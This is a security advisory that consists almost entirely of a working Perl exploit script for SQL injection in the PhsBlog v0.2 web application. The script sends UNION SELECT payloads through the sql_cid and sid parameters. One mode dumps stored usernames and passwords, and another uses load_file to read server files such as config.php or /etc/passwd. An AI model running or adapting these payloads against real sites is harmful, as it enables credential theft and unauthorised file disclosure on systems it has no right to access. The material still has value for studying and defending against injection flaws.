SecurityReason - PhsBlog v0.2 Bypass Sql injection Filtering Exploit

Advisory Text :

#!/usr/bin/perl
#----------------------------------------------------------------
#
#Script : PhsBlog v0.2
#
#Type : Bypass Sql injection Filtering Exploit
#
#Method : GET
#
#Risk : High
#
#----------------------------------------------------------------
#
#Discovered by : Khashayar Fereidani a.k.a. Dr.Crash
#
#My Official Website : HTTP://FEREIDANI.IR
#
#Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t] com
#
#----------------------------------------------------------------
#
#Khashayar Fereidani Official Website : HTTP://FEREIDANI.IR
#
#----------------------------------------------------------------
#
#Script Download : http://www.phsdev.com/downloads/phsblog_current.zip
#
#----------------------------------------------------------------
#
# Tnx : God
#
# HTTP://IRCRASH.COM
#
#----------------------------------------------------------------

use LWP;
use HTTP::Request;
use Getopt::Long;

$scriptname="PhsBlog v0.2";

sub header
{
print "
****************************************************
* $scriptname
****************************************************
*Discovered by : Khashayar Fereidani *
*Exploited by : Khashayar Fereidani *
*My Official Website : http://fereidani.ir *
****************************************************";
}

sub usage
{
print "
* Usage : perl $0 http://Example/
****************************************************
";
}

$url = ($ARGV[0]);

if(!$url)
{
header();
usage();
exit;
}
if($url !~ /\//){$url = $url."/";}
if($url !~ /http:\/\//){$url = "http://".$url;}
sub xpl1()
{
#concat(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643
a,password,0x3c656e64706173733e)
$vul =
"/index.php?sql_cid=999\'union+select+0,1,2,3,4,concat(0x4c6f67696e3a,use
rname,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e647
06173733e),6,7,8,9,10,11,12+from+phsblog_users/*";
$requestpage = $url.$vul;

my $req = HTTP::Request->new("POST",$requestpage);
$ua = LWP::UserAgent->new;
$ua->agent( \'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9\' );
#$req->referer($url);
$req->referer("IRCRASH.COM");
$req->content_type(\'application/x-www-form-urlencoded\');
$req->header("content-length" => $contlen);
$req->content($poststring);

$response = $ua->request($req);
$content = $response->content;
$header = $response->headers_as_string();

@name = split(/Login:/,$content);
$name = @name[1];
@name = split(/<enduser>/,$name);
$name = @name[0];

@password = split(/Password:/,$content);
$password = @password[1];
@password = split(/<endpass>/,$password);
$password = @password[0];

if(!$name && !$password)
{
print "\n\n";
print "!Exploit failed ! :(\n\n";
exit;
}

print "\n Username: ".$name."\n\n";
print " Password: " .$password."\n\n";

}

#XPL2

sub xpl2()
{
print "\n Example For File Address : /home/user/public_html/config.php\n Or
/etc/passwd";
print "\n Enter File Address :";
$fil3 = <stdin>;
#index.php?sql_cid=999\'union+select+0,1,2,3,4,concat(0x4c6f67696e3a,load
_file(\'$fil3\'),0x3c656e64757365723e),6,7,8,9,10,11,12+from+phsblog_users
/*
$vul =
"?show=pickup&sid=99999\'+union+select+0,concat(0x4c6f67696e3a,load_file(
\'$fil3\'),0x3c656e64757365723e),2,3,4,5,6,7,8,9,10,11,12,13+from+mysql.us
er/*";
$requestpage = $url.$vul;

my $req = HTTP::Request->new("POST",$requestpage);
$ua = LWP::UserAgent->new;
$ua->agent( \'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9\' );
#$req->referer($url);
$req->referer("IRCRASH.COM");
$req->content_type(\'application/x-www-form-urlencoded\');
$req->header("content-length" => $contlen);
$req->content($poststring);

$response = $ua->request($req);
$content = $response->content;
$header = $response->headers_as_string();

@name = split(/Login:/,$content);
$name = @name[1];
@name = split(/<enduser>/,$name);
$name = @name[0];

if(!$name && !$password)
{
print "\n\n";
print "!Exploit failed ! :(\n\n";
exit;
}

open (FILE, ">".source.".txt");
print FILE $name;
close (FILE);
print " File Save In source.txt\n";
print "";

}

#XPL2 END
#Starting;
print "
****************************************************
* $scriptname
****************************************************
*Discovered by : Khashayar Fereidani *
*Exploited by : Khashayar Fereidani *
*My Official Website : http://fereidani.ir *
****************************************************
* Mod Options : *
* Mod 1 : Find Script username and password *
* Mod 2 : File Disclosure(not work in many servers)*
****************************************************";
print "\n \n Enter Mod : ";
$mod=<stdin>;
if ($mod=="1" or $mod=="2") { print "\n Exploiting .............. \n"; }
else { print "\n Unknown Mod ! \n Exploit Failed !"; };
if ($mod=="1") { xpl1(); };
if ($mod=="2") { xpl2(); };